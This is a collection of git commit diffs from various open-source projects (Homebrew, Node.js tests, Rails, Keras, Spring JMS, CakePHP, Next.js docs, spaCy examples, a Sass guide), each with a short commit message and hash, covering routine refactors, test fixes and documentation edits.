<ide> Homebrew.messages.display_messages(display_times: args.display_times?)
<ide> end
<ide> end
<ide><path>Library/Homebrew/cmd/upgrade.rb
<ide> def upgrade
<ide> upgrade_outdated_formulae(formulae, args: args) unless only_upgrade_casks
<ide> upgrade_outdated_casks(casks, args: args) unless only_upgrade_formulae
<ide>
<add> Cleanup.periodic_clean!(dry_run: args.dry_run?)
<add>
<ide> Homebrew.messages.display_messages(display_times: args.display_times?)
<ide> end
<ide>
| 4
|
Javascript
|
Javascript
|
remove needless regexp flags
|
d174e44c77c6330c98f6d5c3bc24782d0e25f529
|
<ide><path>test/parallel/test-http-full-response.js
<ide> function runAb(opts, callback) {
<ide> const command = `ab ${opts} http://127.0.0.1:${server.address().port}/`;
<ide> exec(command, function(err, stdout, stderr) {
<ide> if (err) {
<del> if (/ab|apr/mi.test(stderr)) {
<add> if (/ab|apr/i.test(stderr)) {
<ide> common.skip(`problem spawning \`ab\`.\n${stderr}`);
<ide> process.reallyExit(0);
<ide> }
<ide> process.exit();
<ide> return;
<ide> }
<ide>
<del> let m = /Document Length:\s*(\d+) bytes/mi.exec(stdout);
<add> let m = /Document Length:\s*(\d+) bytes/i.exec(stdout);
<ide> const documentLength = parseInt(m[1]);
<ide>
<del> m = /Complete requests:\s*(\d+)/mi.exec(stdout);
<add> m = /Complete requests:\s*(\d+)/i.exec(stdout);
<ide> const completeRequests = parseInt(m[1]);
<ide>
<del> m = /HTML transferred:\s*(\d+) bytes/mi.exec(stdout);
<add> m = /HTML transferred:\s*(\d+) bytes/i.exec(stdout);
<ide> const htmlTransfered = parseInt(m[1]);
<ide>
<ide> assert.strictEqual(bodyLength, documentLength);
<ide><path>test/parallel/test-http-outgoing-first-chunk-singlebyte-encoding.js
<ide> for (const enc of ['utf8', 'utf16le', 'latin1', 'UTF-8']) {
<ide> const headerEnd = received.indexOf('\r\n\r\n', 'utf8');
<ide> assert.notStrictEqual(headerEnd, -1);
<ide>
<del> const header = received.toString('utf8', 0, headerEnd).split(/\r\n/g);
<add> const header = received.toString('utf8', 0, headerEnd).split(/\r\n/);
<ide> const body = received.toString(enc, headerEnd + 4);
<ide>
<ide> assert.strictEqual(header[0], 'HTTP/1.1 200 OK');
<ide><path>test/parallel/test-tls-client-verify.js
<ide> const tls = require('tls');
<ide>
<ide> const fs = require('fs');
<ide>
<del>const hosterr = /Hostname\/IP doesn't match certificate's altnames/g;
<add>const hosterr = /Hostname\/IP doesn't match certificate's altnames/;
<ide> const testCases =
<ide> [{ ca: ['ca1-cert'],
<ide> key: 'agent2-key',
<ide><path>test/parallel/test-tls-server-verify.js
<ide> function runClient(prefix, port, options, cb) {
<ide> client.stdout.on('data', function(d) {
<ide> out += d;
<ide>
<del> if (!goodbye && /_unauthed/g.test(out)) {
<add> if (!goodbye && /_unauthed/.test(out)) {
<ide> console.error(`${prefix} * unauthed`);
<ide> goodbye = true;
<ide> client.kill();
<ide> authed = false;
<ide> rejected = false;
<ide> }
<ide>
<del> if (!goodbye && /_authed/g.test(out)) {
<add> if (!goodbye && /_authed/.test(out)) {
<ide> console.error(`${prefix} * authed`);
<ide> goodbye = true;
<ide> client.kill();
<ide><path>test/parallel/test-util-callbackify.js
<ide> const values = [
<ide> assert.strictEqual(err.code, 1);
<ide> assert.strictEqual(Object.getPrototypeOf(err).name, 'Error');
<ide> assert.strictEqual(stdout, '');
<del> const errLines = stderr.trim().split(/[\r\n]+/g);
<add> const errLines = stderr.trim().split(/[\r\n]+/);
<ide> const errLine = errLines.find((l) => /^Error/.exec(l));
<ide> assert.strictEqual(errLine, `Error: ${fixture}`);
<ide> })
<ide><path>test/pummel/test-keep-alive.js
<ide> function runAb(opts, callback) {
<ide> return;
<ide> }
<ide>
<del> let matches = /Requests\/sec:\s*(\d+)\./mi.exec(stdout);
<add> let matches = /Requests\/sec:\s*(\d+)\./i.exec(stdout);
<ide> const reqSec = parseInt(matches[1]);
<ide>
<del> matches = /Keep-Alive requests:\s*(\d+)/mi.exec(stdout);
<add> matches = /Keep-Alive requests:\s*(\d+)/i.exec(stdout);
<ide> let keepAliveRequests;
<ide> if (matches) {
<ide> keepAliveRequests = parseInt(matches[1]);
<ide><path>test/pummel/test-tls-securepair-client.js
<ide> function test(keyfn, certfn, check, next) {
<ide> console.error(state);
<ide> switch (state) {
<ide> case 'WAIT-ACCEPT':
<del> if (/ACCEPT/g.test(serverStdoutBuffer)) {
<add> if (/ACCEPT/.test(serverStdoutBuffer)) {
<ide> // Give s_server half a second to start up.
<ide> setTimeout(startClient, 500);
<ide> state = 'WAIT-HELLO';
<ide> }
<ide> break;
<ide>
<ide> case 'WAIT-HELLO':
<del> if (/hello/g.test(serverStdoutBuffer)) {
<add> if (/hello/.test(serverStdoutBuffer)) {
<ide>
<ide> // End the current SSL connection and exit.
<ide> // See s_server(1ssl).
| 7
|
Ruby
|
Ruby
|
fix exception translation
|
5e5118aa8ba821af6e615cfd2903b848ff8a9177
|
<ide><path>activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
<ide> def close
<ide>
<ide> protected
<ide>
<del> def translate_exception(e, sql)
<add> def translate_exception_class(e, sql)
<ide> message = "#{e.class.name}: #{e.message}: #{sql}"
<ide> @logger.error message if @logger
<ide> exception = translate_exception(e, message)
<ide> exception.set_backtrace e.backtrace
<add> exception
<ide> end
<ide>
<ide> def log(sql, name = "SQL", binds = [], statement_name = nil)
<ide> def log(sql, name = "SQL", binds = [], statement_name = nil)
<ide> :statement_name => statement_name,
<ide> :binds => binds) { yield }
<ide> rescue => e
<del> raise translate_exception(e, sql)
<add> raise translate_exception_class(e, sql)
<ide> end
<ide>
<ide> def translate_exception(exception, message)
<ide><path>activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
<ide> def prepare_statement(sql)
<ide> begin
<ide> @connection.prepare nextkey, sql
<ide> rescue => e
<del> raise translate_exception(e, sql)
<add> raise translate_exception_class(e, sql)
<ide> end
<ide> # Clear the queue
<ide> @connection.get_last_result
| 2
|
Go
|
Go
|
expose endpoint ids in their public interface
|
d449658d91011304b1a3520de9fe694c525aeafc
|
<ide><path>libnetwork/network.go
<ide> type Network interface {
<ide>
<ide> // Endpoint represents a logical connection between a network and a sandbox.
<ide> type Endpoint interface {
<add> // A system generated id for this network.
<add> ID() string
<add>
<ide> // Delete endpoint.
<ide> Delete() error
<ide> }
<ide> func (n *network) CreateEndpoint(name string, sboxKey string, options interface{
<ide> return ep, sinfo, nil
<ide> }
<ide>
<add>func (ep *endpoint) ID() string {
<add> return string(ep.id)
<add>}
<add>
<ide> func (ep *endpoint) Delete() error {
<ide> var err error
<ide>
| 1
|
PHP
|
PHP
|
fix failing xml tests
|
f4828df777614f53e03ac3d0c3d714cdb149a5aa
|
<ide><path>tests/TestCase/Utility/XmlTest.php
<ide> public function testFromArray()
<ide> $xmlText = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <tags>
<del> <tag id="1" name="defect"/>
<del> <tag id="2" name="enhancement"/>
<add> <tag id="1" name="defect"/>
<add> <tag id="2" name="enhancement"/>
<ide> </tags>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($xmlText, $obj->asXML());
<ide> public function testFromArray()
<ide> $xmlText = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <tags>
<del> <tag>
<del> <id>1</id>
<del> <name>defect</name>
<del> </tag>
<del> <tag>
<del> <id>2</id>
<del> <name>enhancement</name>
<del> </tag>
<add> <tag>
<add> <id>1</id>
<add> <name>defect</name>
<add> </tag>
<add> <tag>
<add> <id>2</id>
<add> <name>enhancement</name>
<add> </tag>
<ide> </tags>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($xmlText, $obj->asXML());
<ide> public function testFromArray()
<ide> $xmlText = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <tags>
<del> <tag id="1">
<del> <name>defect</name>
<del> </tag>
<del> <tag id="2">
<del> <name>enhancement</name>
<del> </tag>
<add> <tag id="1">
<add> <name>defect</name>
<add> </tag>
<add> <tag id="2">
<add> <name>enhancement</name>
<add> </tag>
<ide> </tags>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($xmlText, $obj->asXML());
<ide> public function testFromArrayNonSequentialKeys()
<ide> $expected = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <Event>
<del> <id>235</id>
<del> <Attribute>
<del> <id>9646</id>
<del> </Attribute>
<del> <Attribute>
<del> <id>9647</id>
<del> </Attribute>
<add> <id>235</id>
<add> <Attribute>
<add> <id>9646</id>
<add> </Attribute>
<add> <Attribute>
<add> <id>9647</id>
<add> </Attribute>
<ide> </Event>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($expected, $obj->asXML());
<ide> public function testFromArrayUnterminatedError()
<ide> $expected = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <products>
<del> <product_ID>GENERT-DL</product_ID>
<del> <deeplink>http://example.com/deep</deeplink>
<del> <image_URL>http://example.com/image</image_URL>
<del> <thumbnail_image_URL>http://example.com/thumb</thumbnail_image_URL>
<del> <brand>Malte Lange & Co</brand>
<del> <availability>in stock</availability>
<del> <authors>
<del> <author>Malte Lange & Co</author>
<del> </authors>
<add> <product_ID>GENERT-DL</product_ID>
<add> <deeplink>http://example.com/deep</deeplink>
<add> <image_URL>http://example.com/image</image_URL>
<add> <thumbnail_image_URL>http://example.com/thumb</thumbnail_image_URL>
<add> <brand>Malte Lange & Co</brand>
<add> <availability>in stock</availability>
<add> <authors>
<add> <author>Malte Lange & Co</author>
<add> </authors>
<ide> </products>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($expected, $xml->asXML());
<ide> public function testRss()
<ide> $xmlText = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<del><channel>
<del> <atom:link href="http://bakery.cakephp.org/articles/rss" rel="self" type="application/rss+xml"/>
<del> <title>The Bakery: </title>
<del> <link>http://bakery.cakephp.org/</link>
<del> <description>Recent Articles at The Bakery.</description>
<del> <pubDate>Sun, 12 Sep 2010 04:18:26 -0500</pubDate>
<del> <item>
<del> <title>CakePHP 1.3.4 released</title>
<del> <link>http://bakery.cakephp.org/articles/view/cakephp-1-3-4-released</link>
<del> </item>
<del> <item>
<del> <title>Wizard Component 1.2 Tutorial</title>
<del> <link>http://bakery.cakephp.org/articles/view/wizard-component-1-2-tutorial</link>
<del> </item>
<del></channel>
<add> <channel>
<add> <atom:link href="http://bakery.cakephp.org/articles/rss" rel="self" type="application/rss+xml"/>
<add> <title>The Bakery: </title>
<add> <link>http://bakery.cakephp.org/</link>
<add> <description>Recent Articles at The Bakery.</description>
<add> <pubDate>Sun, 12 Sep 2010 04:18:26 -0500</pubDate>
<add> <item>
<add> <title>CakePHP 1.3.4 released</title>
<add> <link>http://bakery.cakephp.org/articles/view/cakephp-1-3-4-released</link>
<add> </item>
<add> <item>
<add> <title>Wizard Component 1.2 Tutorial</title>
<add> <link>http://bakery.cakephp.org/articles/view/wizard-component-1-2-tutorial</link>
<add> </item>
<add> </channel>
<ide> </rss>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($xmlText, $rssAsSimpleXML->asXML());
<ide> public function testXmlRpc()
<ide> $xmlText = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <methodResponse>
<del> <params>
<del> <param>
<del> <value>
<del> <array>
<del> <data>
<del> <value>
<del> <int>1</int>
<del> </value>
<del> <value>
<del> <string>testing</string>
<del> </value>
<del> </data>
<del> </array>
<del> </value>
<del> </param>
<del> </params>
<add> <params>
<add> <param>
<add> <value>
<add> <array>
<add> <data>
<add> <value>
<add> <int>1</int>
<add> </value>
<add> <value>
<add> <string>testing</string>
<add> </value>
<add> </data>
<add> </array>
<add> </value>
<add> </param>
<add> </params>
<ide> </methodResponse>
<ide> XML;
<ide> $xml = Xml::build($xmlText);
<ide> public function testSoap()
<ide> $xmlText = <<<XML
<ide> <?xml version="1.0"?>
<ide> <soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope" soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<del> <soap:Body xmlns:m="http://www.example.org/stock">
<del> <m:GetStockPrice><m:StockName>IBM</m:StockName></m:GetStockPrice>
<del> </soap:Body>
<add> <soap:Body xmlns:m="http://www.example.org/stock">
<add> <m:GetStockPrice>
<add> <m:StockName>IBM</m:StockName>
<add> </m:GetStockPrice>
<add> </soap:Body>
<ide> </soap:Envelope>
<ide> XML;
<ide> $this->assertXmlStringEqualsXmlString($xmlText, $xmlRequest->asXML());
<ide> public function testNamespace()
<ide> $expected = <<<XML
<ide> <?xml version="1.0" encoding="UTF-8"?>
<ide> <root>
<del> <tag xmlns:pref="http://cakephp.org">
<del> <pref:item>item 1</pref:item>
<del> <pref:item>item 2</pref:item>
<del> </tag>
<add> <tag xmlns:pref="http://cakephp.org">
<add> <pref:item>item 1</pref:item>
<add> <pref:item>item 2</pref:item>
<add> </tag>
<ide> </root>
<ide> XML;
<ide> $xmlResponse = Xml::fromArray($xml);
| 1
|
Javascript
|
Javascript
|
use localhost test instead of connecting to remote
|
520ad586584a2758b5cdb118dc356f1936467838
|
<ide><path>test/parallel/test-https-agent-unref-socket.js
<ide> if (!common.hasCrypto)
<ide>
<ide> const https = require('https');
<ide>
<del>const request = https.get('https://example.com');
<add>if (process.argv[2] === 'localhost') {
<add> const request = https.get('https://localhost:' + process.argv[3]);
<ide>
<del>request.on('socket', (socket) => {
<del> socket.unref();
<del>});
<add> request.on('socket', (socket) => {
<add> socket.unref();
<add> });
<add>} else {
<add> const assert = require('assert');
<add> const net = require('net');
<add> const server = net.createServer();
<add> server.listen(0);
<add> server.on('listening', () => {
<add> const port = server.address().port;
<add> const { fork } = require('child_process');
<add> const child = fork(__filename, ['localhost', port], {});
<add> child.on('close', (exit_code) => {
<add> server.close();
<add> assert.strictEqual(exit_code, 0);
<add> });
<add> });
<add>}
| 1
|
Python
|
Python
|
fix axis specification in tf
|
24b5e80667c8998d7e5e9689085fecc92a9506d3
|
<ide><path>keras/backend/tensorflow_backend.py
<ide> def transpose(x):
<ide> # ELEMENT-WISE OPERATIONS
<ide>
<ide> def max(x, axis=None, keepdims=False):
<add> if axis is not None:
<add> axis = axis % len(x.get_shape())
<ide> return tf.reduce_max(x, reduction_indices=axis, keep_dims=keepdims)
<ide>
<ide>
<ide> def min(x, axis=None, keepdims=False):
<add> if axis is not None:
<add> axis = axis % len(x.get_shape())
<ide> return tf.reduce_min(x, reduction_indices=axis, keep_dims=keepdims)
<ide>
<ide>
<ide> def sum(x, axis=None, keepdims=False):
<ide> '''Sum of the values in a tensor, alongside the specified axis.
<ide> '''
<add> if axis is not None:
<add> axis = axis % len(x.get_shape())
<ide> return tf.reduce_sum(x, reduction_indices=axis, keep_dims=keepdims)
<ide>
<ide>
<ide> def mean(x, axis=None, keepdims=False):
<add> if axis is not None:
<add> axis = axis % len(x.get_shape())
<ide> return tf.reduce_mean(x, reduction_indices=axis, keep_dims=keepdims)
<ide>
<ide>
<ide> def any(x, axis=None, keepdims=False):
<ide>
<ide> Return array of int8 (0s and 1s).
<ide> '''
<add> if axis is not None:
<add> axis = axis % len(x.get_shape())
<ide> x = tf.cast(x, tf.bool)
<ide> x = tf.reduce_any(x, reduction_indices=axis, keep_dims=keepdims)
<ide> return tf.cast(x, tf.int8)
<ide> def abs(x):
<ide>
<ide>
<ide> def sqrt(x):
<del> x = tf.clip_by_value(x, _EPSILON, np.inf)
<add> x = tf.clip_by_value(x, 0., np.inf)
<ide> return tf.sqrt(x)
<ide>
<ide>
<ide><path>keras/backend/theano_backend.py
<ide> def abs(x):
<ide>
<ide>
<ide> def sqrt(x):
<del> x = T.clip(x, _EPSILON, np.inf)
<add> x = T.clip(x, 0., np.inf)
<ide> return T.sqrt(x)
<ide>
<ide>
| 2
|
Python
|
Python
|
fix num_residual_units for w28-10
|
55d7a22cf50a53f735cb1ccbf484d130277ca513
|
<ide><path>resnet/resnet_model.py
<ide> def _build_model(self):
<ide> # comparably good performance.
<ide> # https://arxiv.org/pdf/1605.07146v1.pdf
<ide> # filters = [16, 160, 320, 640]
<del> # Update hps.num_residual_units to 9
<add> # Update hps.num_residual_units to 4
<ide>
<ide> with tf.variable_scope('unit_1_0'):
<ide> x = res_func(x, filters[0], filters[1], self._stride_arr(strides[0]),
| 1
|
Java
|
Java
|
reuse qossettings in jmstemplate
|
4ffdb50681a9e4c81ccb1d1eb46ace804a3af0ad
|
<ide><path>spring-jms/src/main/java/org/springframework/jms/core/JmsTemplate.java
<ide> /*
<del> * Copyright 2002-2016 the original author or authors.
<add> * Copyright 2002-2017 the original author or authors.
<ide> *
<ide> * Licensed under the Apache License, Version 2.0 (the "License");
<ide> * you may not use this file except in compliance with the License.
<ide> import org.springframework.jms.connection.ConnectionFactoryUtils;
<ide> import org.springframework.jms.connection.JmsResourceHolder;
<ide> import org.springframework.jms.support.JmsUtils;
<add>import org.springframework.jms.support.QosSettings;
<ide> import org.springframework.jms.support.converter.MessageConverter;
<ide> import org.springframework.jms.support.converter.SimpleMessageConverter;
<ide> import org.springframework.jms.support.destination.JmsDestinationAccessor;
<ide> public boolean isExplicitQosEnabled() {
<ide> return this.explicitQosEnabled;
<ide> }
<ide>
<add> /**
<add> * Set the {@link QosSettings} to use when sending a message.
<add> * @param settings the deliveryMode, priority, and timeToLive settings to use
<add> * @see #setExplicitQosEnabled(boolean)
<add> * @see #setDeliveryMode(int)
<add> * @see #setPriority(int)
<add> * @see #setTimeToLive(long)
<add> * @since 5.0
<add> */
<add> public void setQosSettings(QosSettings settings) {
<add> Assert.notNull(settings, "Settings must not be null");
<add> setExplicitQosEnabled(true);
<add> setDeliveryMode(settings.getDeliveryMode());
<add> setPriority(settings.getPriority());
<add> setTimeToLive(settings.getTimeToLive());
<add> }
<add>
<ide> /**
<ide> * Set whether message delivery should be persistent or non-persistent,
<ide> * specified as boolean value ("true" or "false"). This will set the delivery
<ide><path>spring-jms/src/test/java/org/springframework/jms/core/JmsTemplateTests.java
<ide> /*
<del> * Copyright 2002-2014 the original author or authors.
<add> * Copyright 2002-2017 the original author or authors.
<ide> *
<ide> * Licensed under the Apache License, Version 2.0 (the "License");
<ide> * you may not use this file except in compliance with the License.
<ide> import org.springframework.jms.connection.SingleConnectionFactory;
<ide> import org.springframework.jms.connection.TransactionAwareConnectionFactoryProxy;
<ide> import org.springframework.jms.support.JmsUtils;
<add>import org.springframework.jms.support.QosSettings;
<ide> import org.springframework.jms.support.converter.SimpleMessageConverter;
<ide> import org.springframework.jms.support.destination.JndiDestinationResolver;
<ide> import org.springframework.jndi.JndiTemplate;
<ide> public class JmsTemplateTests {
<ide>
<ide> private Destination queue;
<ide>
<del> private int deliveryMode = DeliveryMode.PERSISTENT;
<del>
<del> private int priority = 9;
<del>
<del> private int timeToLive = 10000;
<del>
<add> private QosSettings qosSettings = new QosSettings(DeliveryMode.PERSISTENT, 9, 10000);
<ide>
<ide> /**
<ide> * Create the mock objects for testing.
<ide> private void doTestSendDestination(
<ide> given(session.createTextMessage("just testing")).willReturn(textMessage);
<ide>
<ide> if (!ignoreQOS) {
<del> template.setExplicitQosEnabled(true);
<del> template.setDeliveryMode(deliveryMode);
<del> template.setPriority(priority);
<del> template.setTimeToLive(timeToLive);
<add> template.setQosSettings(qosSettings);
<ide> }
<ide>
<ide> if (useDefaultDestination) {
<ide> public Message createMessage(Session session) throws JMSException {
<ide> verify(messageProducer).send(textMessage);
<ide> }
<ide> else {
<del> verify(messageProducer).send(textMessage, deliveryMode, priority, timeToLive);
<add> verify(messageProducer).send(textMessage, qosSettings.getDeliveryMode(),
<add> qosSettings.getPriority(), qosSettings.getTimeToLive());
<ide> }
<ide> verify(messageProducer).close();
<ide> verify(session).close();
| 2
|
Text
|
Text
|
fix typo in builder.md
|
afcfa77dd80defa996d7d0e073d809ac03493f05
|
<ide><path>docs/reference/builder.md
<ide> user 0m 0.03s
<ide> sys 0m 0.03s
<ide> ```
<ide>
<del>> **Note:** you can over ride the `ENTRYPOINT` setting using `--entrypoint`,
<add>> **Note:** you can override the `ENTRYPOINT` setting using `--entrypoint`,
<ide> > but this can only set the binary to *exec* (no `sh -c` will be used).
<ide>
<ide> > **Note**:
| 1
|
Text
|
Text
|
adjust readme to mention link
|
a7fbd308be3030324bd2fc60e91a57e13c7e5163
|
<ide><path>packages/next/README.md
<ide> export default Post
<ide> Any route like `/post/1`, `/post/abc`, etc will be matched by `pages/post/[pid].js`.
<ide> The matched path parameter will be sent as a query parameter to the page.
<ide>
<add>> Note: A `<Link>` for a Dynamic Route looks like so:
<add>>
<add>> ```jsx
<add>> <Link href="/post/[pid]" as="/post/abc">
<add>> <a>First Post</a>
<add>> </Link>
<add>> ```
<add>>
<add>> You can [read more about `<Link>` here](#with-link).
<add>
<ide> For example, the route `/post/1` will have the following `query` object: `{ pid: '1' }`.
<ide> Similarly, the route `/post/abc?foo=bar` will have the `query` object: `{ foo: 'bar', pid: 'abc' }`.
<ide>
<ide> For example, `/post/abc?pid=bcd` will have the `query` object: `{ pid: 'abc' }`.
<ide> ### Populating `<head>`
<ide>
<ide> <details>
<del> <summary><b>Examples</b></summary>
<del> <ul>
<del> <li><a href="/examples/head-elements">Head elements</a></li>
<del> <li><a href="/examples/layout-component">Layout component</a></li>
<del> </ul>
<add><summary><b>Examples</b></summary>
<add><ul>
<add> <li><a href="/examples/head-elements">Head elements</a></li>
<add> <li><a href="/examples/layout-component">Layout component</a></li>
<add></ul>
<ide> </details>
<ide>
<ide> We expose a built-in component for appending elements to the `<head>` of the page.
<ide> Please see our [contributing.md](/contributing.md).
<ide> - Tony Kovanen ([@tonykovanen](https://twitter.com/tonykovanen)) – [ZEIT](https://zeit.co)
<ide> - Guillermo Rauch ([@rauchg](https://twitter.com/rauchg)) – [ZEIT](https://zeit.co)
<ide> - Dan Zajdband ([@impronunciable](https://twitter.com/impronunciable)) – Knight-Mozilla / Coral Project
<add>
<add>```
<add>
<add>```
| 1
|
Ruby
|
Ruby
|
use class << self
|
6a74360f972c75c70b64e3b6f51bb7a64681e2e3
|
<ide><path>railties/lib/initializer.rb
<ide> RAILS_ENV = (ENV['RAILS_ENV'] || 'development').dup unless defined?(RAILS_ENV)
<ide>
<ide> module Rails
<del> # The Configuration instance used to configure the Rails environment
<del> def self.configuration
<del> @@configuration
<del> end
<add> class << self
<add> # The Configuration instance used to configure the Rails environment
<add> def configuration
<add> @@configuration
<add> end
<ide>
<del> def self.configuration=(configuration)
<del> @@configuration = configuration
<del> end
<add> def configuration=(configuration)
<add> @@configuration = configuration
<add> end
<ide>
<del> def self.logger
<del> RAILS_DEFAULT_LOGGER
<del> end
<add> def logger
<add> RAILS_DEFAULT_LOGGER
<add> end
<ide>
<del> def self.root
<del> RAILS_ROOT
<del> end
<add> def root
<add> RAILS_ROOT
<add> end
<ide>
<del> def self.env
<del> RAILS_ENV
<del> end
<add> def env
<add> RAILS_ENV
<add> end
<ide>
<del> def self.cache
<del> RAILS_CACHE
<add> def cache
<add> RAILS_CACHE
<add> end
<ide> end
<ide>
<ide> # The Initializer is responsible for processing the Rails configuration, such
| 1
|
Python
|
Python
|
move old examples
|
c36e8676aa2564ad9453603f34c1cdd08da6014a
|
<ide><path>examples/train_ner.py
<del>from __future__ import unicode_literals, print_function
<del>import json
<del>import pathlib
<del>import random
<del>
<del>import spacy
<del>from spacy.pipeline import EntityRecognizer
<del>from spacy.gold import GoldParse
<del>
<del>
<del>def train_ner(nlp, train_data, entity_types):
<del> ner = EntityRecognizer.blank(nlp.vocab, entity_types=entity_types,
<del> features=nlp.Defaults.entity_features)
<del> for itn in range(5):
<del> random.shuffle(train_data)
<del> for raw_text, entity_offsets in train_data:
<del> doc = nlp.make_doc(raw_text)
<del> gold = GoldParse(doc, entities=entity_offsets)
<del> ner.update(doc, gold)
<del> ner.model.end_training()
<del> return ner
<del>
<del>
<del>def main(model_dir=None):
<del> if model_dir is not None:
<del> model_dir = pathlb.Path(model_dir)
<del> if not model_dir.exists():
<del> model_dir.mkdir()
<del> assert model_dir.isdir()
<del>
<del> nlp = spacy.load('en', parser=False, entity=False, vectors=False)
<del>
<del> train_data = [
<del> (
<del> 'Who is Shaka Khan?',
<del> [(len('Who is '), len('Who is Shaka Khan'), 'PERSON')]
<del> ),
<del> (
<del> 'I like London and Berlin.',
<del> [(len('I like '), len('I like London'), 'LOC'),
<del> (len('I like London and '), len('I like London and Berlin'), 'LOC')]
<del> )
<del> ]
<del> ner = train_ner(nlp, train_data, ['PERSON', 'LOC'])
<del>
<del> doc = nlp.make_doc('Who is Shaka Khan?')
<del> nlp.tagger(doc)
<del> ner(doc)
<del> for word in doc:
<del> print(word.text, word.tag_, word.ent_type_, word.ent_iob)
<del>
<del> if model_dir is not None:
<del> with (model_dir / 'config.json').open('wb') as file_:
<del> json.dump(ner.cfg, file_)
<del> ner.model.dump(str(model_dir / 'model'))
<del>
<del>
<del>if __name__ == '__main__':
<del> main()
<del> # Who "" 2
<del> # is "" 2
<del> # Shaka "" PERSON 3
<del> # Khan "" PERSON 1
<del> # ? "" 2
<ide><path>examples/train_pos_tagger.py
<del>"""A quick example for training a part-of-speech tagger, without worrying
<del>about the tokenization, or other language-specific customizations."""
<del>
<del>from __future__ import unicode_literals
<del>from __future__ import print_function
<del>
<del>import plac
<del>from os import path
<del>import os
<del>
<del>from spacy.vocab import Vocab
<del>from spacy.tokenizer import Tokenizer
<del>from spacy.tagger import Tagger
<del>import random
<del>
<del>
<del># You need to define a mapping from your data's part-of-speech tag names to the
<del># Universal Part-of-Speech tag set, as spaCy includes an enum of these tags.
<del># See here for the Universal Tag Set:
<del># http://universaldependencies.github.io/docs/u/pos/index.html
<del># You may also specify morphological features for your tags, from the universal
<del># scheme.
<del>TAG_MAP = {
<del> 'N': {"pos": "NOUN"},
<del> 'V': {"pos": "VERB"},
<del> 'J': {"pos": "ADJ"}
<del> }
<del>
<del># Usually you'll read this in, of course. Data formats vary.
<del># Ensure your strings are unicode.
<del>DATA = [
<del> (
<del> ["I", "like", "green", "eggs"],
<del> ["N", "V", "J", "N"]
<del> ),
<del> (
<del> ["Eat", "blue", "ham"],
<del> ["V", "J", "N"]
<del> )
<del>]
<del>
<del>def ensure_dir(*parts):
<del> path_ = path.join(*parts)
<del> if not path.exists(path_):
<del> os.mkdir(path_)
<del> return path_
<del>
<del>
<del>def main(output_dir):
<del> ensure_dir(output_dir)
<del> ensure_dir(output_dir, "pos")
<del> ensure_dir(output_dir, "vocab")
<del>
<del> vocab = Vocab(tag_map=TAG_MAP)
<del> tokenizer = Tokenizer(vocab, {}, None, None, None)
<del> # The default_templates argument is where features are specified. See
<del> # spacy/tagger.pyx for the defaults.
<del> tagger = Tagger.blank(vocab, Tagger.default_templates())
<del>
<del> for i in range(5):
<del> for words, tags in DATA:
<del> tokens = tokenizer.tokens_from_list(words)
<del> tagger.train(tokens, tags)
<del> random.shuffle(DATA)
<del> tagger.model.end_training()
<del> tagger.model.dump(path.join(output_dir, 'pos', 'model'))
<del> with io.open(output_dir, 'vocab', 'strings.json') as file_:
<del> tagger.vocab.strings.dump(file_)
<del>
<del>
<del>if __name__ == '__main__':
<del> plac.call(main)
| 2
|
Text
|
Text
|
explain variables in sass
|
47ccf0ff8e5357db974a96900e96e60e27cd1df5
|
<ide><path>guide/english/sass/index.md
<ide> ---
<ide> title: Sass
<ide> ---
<add>
<ide> Sass is a preprocessor scripting language that compiles CSS. It essentially brings the power of a standard programming language to your stylesheets. Sass files end with the `.scss` file extension.
<ide>
<ide> With Sass, you can make your CSS considerably more efficient. Some of its key features include:
<add>- **nesting** which allows you to order child elements inside of their parents on your stylesheet
<add>- **mixins** which allow you to apply the same style to multiple elements without having to copy and paste
<add>- **for**, **if**, and **else** statements which allow you to apply styles only in specific conditions
<add>- **partials** which allow you to take chunks of your CSS and import them into other `.scss` stylesheets
<add>- **extend** which allows you to take the style from one element into another
<ide>
<del>1. **mixins**, which allow you to apply the same style to multiple elements without having to copy and paste
<del>2. **for**, **if**, and **else** statements, which allow you to apply styles only in specific conditions
<del>3. **partials**, which allow you to take chunks of your CSS and import them into other `.scss` stylesheets
<del>4. **nesting**, which allows you to order child elements inside of their parents on your stylesheet
<del>5. **extend**, which allows you to take the style from one element into another
<del>
<del>## Store data with Sass variables:
<add>## Store data with Sass variables
<add>One of the main features of Sass is its ability to define variables. You can define variables for almost anything such as color, font, units, etc.
<ide>
<del>Variable starts with '$' followed by variable name
<add>Variables can be defined in Sass by using the `$` and variable name. (e.g., if I want my website's theme color to be blue. I can write:
<add>```css
<add>$themeColor: blue; //defines theme color
<add>$baseFont: 14px; // defines font size
<ide> ```
<del>// Sass Code
<del>$main-fonts:Arial,sans-serif;
<del>$heading-color:green;
<ide>
<del>// Css Code
<del>h1{
<del> font-family: $main-fonts;
<del> color: $heading-color;
<add>Now I can use the variable to set color in my website:
<add>```css
<add>p {
<add> color: $themeColor;
<add> font-size: $baseFont;
<ide> }
<ide> ```
<ide>
<del>## Nest CSS within SASS:
<add>And it also makes it easier to change the theme color of my website without having to change the color *blue* in every element style. I can simply change the variable value:
<add>```css
<add>$themeColor: red; //changed the color from blue to red
<add>```
<ide>
<del>On normal CSS codes we have to write each elements css seperate like:
<add>## Nest CSS within SASS
<add>Another great feature of Sass is nesting. Nesting saves you from having to write too much code. If you have an element inside of another element, you don't have to write more lines of code to target the child element. It can be understood with and example.
<add>
<add>Suppose you have a heading element inside of a div with a class of *parent*.
<add>```css
<add><div class="parent">
<add> <h1>The heading</h1>
<add></div>
<ide> ```
